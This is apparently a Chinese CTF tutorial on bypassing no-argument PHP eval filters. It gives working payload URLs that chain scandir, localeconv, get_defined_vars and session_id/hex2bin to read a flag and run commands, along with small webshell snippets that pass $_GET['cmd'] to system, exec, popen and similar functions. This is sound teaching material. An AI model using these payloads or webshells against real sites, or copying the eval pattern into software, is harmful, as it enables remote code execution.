在CTF竞赛过程中,我们时常会遇到一种类型的题,那就是无参数命令执行。接下来通过例题的形式针对无参数命令执行常见技巧和利用方式进行了总结。
01
无参RCE示例
<?php
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['exp'])) {
if (!preg_match('/na|info|dec|oct|pi|log/i', $_GET['exp'])) {
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
highlight_file(__FILE__);
?>
源码分析:
a(b(c()))
格式的无参数函数;02
方法(一)
1. 查看当前目录下的文件,此处利用scandir()
实现:
<?php print_r(scandir(".")); #表示获取当前目录下的文件;?>
<?php print_r(scandir("../")); #表示获取上一级目录下的文件;?>
于是,可以利用该函数,查看目标系统目录,寻找包含flag的文件位置。由于正则表达式限制,不能再scandir('.')
函数中加入参数。故此处使用current(localeconv())
表示“.”。其中localeconv()
函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."。current()
返回数组中的当前单元, 默认取第一个值。
http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(scandir(pos(localeconv())));
http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(scandir(current(localeconv())));
2. 接下来就要考虑如何读取flag,读取文件内容我们可以想到的函数有:
3. 刚刚列举的几个函数,都需要将要读取的文件作为参数进行读取操作,由于题中代码用正则表达式限制,不能接收参数,该如何将文件名写道函数里面,然后读取文件内容呢?
array_flip()
函数将读取当前目录的键和值进行反转,然后读取其中的值即可获得flag.php
;array_rand()
,进行随机生成;http://127.0.0.1/ctf/web/web-5/index.php?exp=pprint_r(array_rand(array_flip(scandir(pos(localeconv())))));
由上图可以看出,通过array_rand()
能够随机出flag.php文件,然后利用readfile()
函数,读取该文件:
http://127.0.0.1/ctf/web/web-5/index.php?exp=readfile(array_rand(array_flip(scandir(pos(localeconv())))));
03
方法(二)
除了调用php自身的库函数读取文件内容以外,还可以通过调用php的执行命令函数,读取flag文件内容。常见的PHP的执行命令函数如下:
system(): 执行system()函数后,在页面中直接返回显示结果;
<?php
$cmd=$_GET['cmd'];
system($cmd)
?>
执行结果:
popen():打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。返回一个和 fopen() 所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用 pclose() 来关闭。此指针可以用于 fgets(),fgetss() 和 fwrite()。
<?php
$cmd=$_GET['cmd'];
$fd = popen($cmd, 'r');
while($s=fgets($fd)){
print_r($s);
}
?>
passthru():
<?php
$cmd=$_GET['cmd'];
passthru($cmd);
?>
shell_exec():需通过PHP的输出函数将结果输出;
<?php
$cmd=$_GET['cmd'];
$a=shell_exec($cmd);
echo $a;
?>
执行结果:
proc_open():
<php
$command=$_GET['command'];
$descriptorspec=array( 0=>array('pipe','r'), 1=>array('pipe','w'), 2=>array('pipe','w') );
$handle=proc_open($command,$descriptorspec,$pipes,NULL);
if(!is_resource($handle)){
die('proc_open failed');
}
while($s=fgets($pipes[1])){print_r($s);
}
while($s=fgets($pipes[2])){print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
?>
exec(): exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行,如果想得到全部的结果,可使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行。
string exec ( string $command [, array &$output [, int &$return_var ]] )
<?php
$command=$_GET['cmd'];
$cmd=exec($command,$output);
echo $cmd;
echo "<br>";
$length=count($output);
for($i=0;$i<$length;$i++){
echo $output[$i];
echo "<br>";
}
?>
执行结果:
<?php
$cmd=$_GET['cmd'];
$a=`$cmd`;
echo $a;
?>
执行结果:
1. 在无需输入参数的情况下,获取外界变量值
此处,用到一个函数,get_defined_vars ( void ) ,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量等。
http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(get_defined_vars());&b=1
http://127.0.0.1/ctf/web/web-5/index.php?exp=var_dump(get_defined_vars());&b=1
2. 提取变量b,并输出对应的值1
通过输出的值可以看出变量b在参数数组中为第一个值,故可以用current函数,current函数用于初始指向插入到数组中的第一个单元。
此时b值,又为数组中的最后一位,可以用到end()函数,end()函数作用是将 array 的内部指针移动到最后一个单元并返回其值。
http://127.0.0.1/ctf/web/web-5/index.php?exp=var_dump(end(current(get_defined_vars())));&b=1
3. 命令执行
于是,最后一步,配合使用eval()函数,将b后面参数转换成php代码进行执行,此处可以使用上面介绍的几种命令执行函数获取flag。
http://127.0.0.1/ctf/web/web-5/index.php?exp=eval(end(current(get_defined_vars())));&b=phpinfo();
http://127.0.0.1/ctf/web/web-5/index.php?exp=eval(end(current(get_defined_vars())));&b=system(%22dir%22);
04
方法(三)
通常情况下我们通过get、post传递参数,其实也可以利用http headers传递参数。此处就给大家介绍一种利用http headers头部的session的函数获取flag内容。通过查阅PHP手册,可以发现session_id() 可以用来获取/设置当前会话 ID。接下来就介绍下session_id()函数。
当在代码中没有开启session会话时,提交请求中是不包含session字段内容的,如下所示:
<?php
$aa = $_GET['cmd'];
echo $aa;
?>
当我们通过session_start()函数,开启会话以后,在burpsuite拦截的数据包中,可以看到PHPSESSIONID字段。
<?php
$aa = $_GET['cmd'];
echo $aa;
session_start();
?>
也可以输出session_id相关内容,并且session_id我们也可以认为控制输入。
<?php
$aa = $_GET['cmd'];
echo $aa;
session_start();
echo session_id();
?>
由于,session_id()中,仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号);故此时使用十六进制转换,将phpinfo();转换成十六进制,在函数中又将其转换成对应的字符串形式即可。相关代码如下所示:
<?php
$aa = $_GET['cmd'];
echo $aa; session_start();
eval(hex2bin(session_id()));
?>
我们可以利用该功能,去完成例题所述的CTF题型:
http://127.0.0.1/ctf/web/web-5/index.php?exp=eval(hex2bin(session_id(session_start())));
05
再来做一道题?
<?php
if (!isset($_GET['code'])){
header('Refresh:0;url=./phpinfo.php?code=phpinfo();');
}
if ($_GET['code'] === 'phpinfo();')
{
phpinfo();
}
if (preg_match('/readfile|if|time|local|sqrt|na|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|var_dump|echo|print/i', $_GET['code'])) {
echo ('你输入的不对呕!!!!');
}else{
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}else{
echo('你输入的还是不对呕!!!!');
}
}
?>
下期给大家公布解题答案!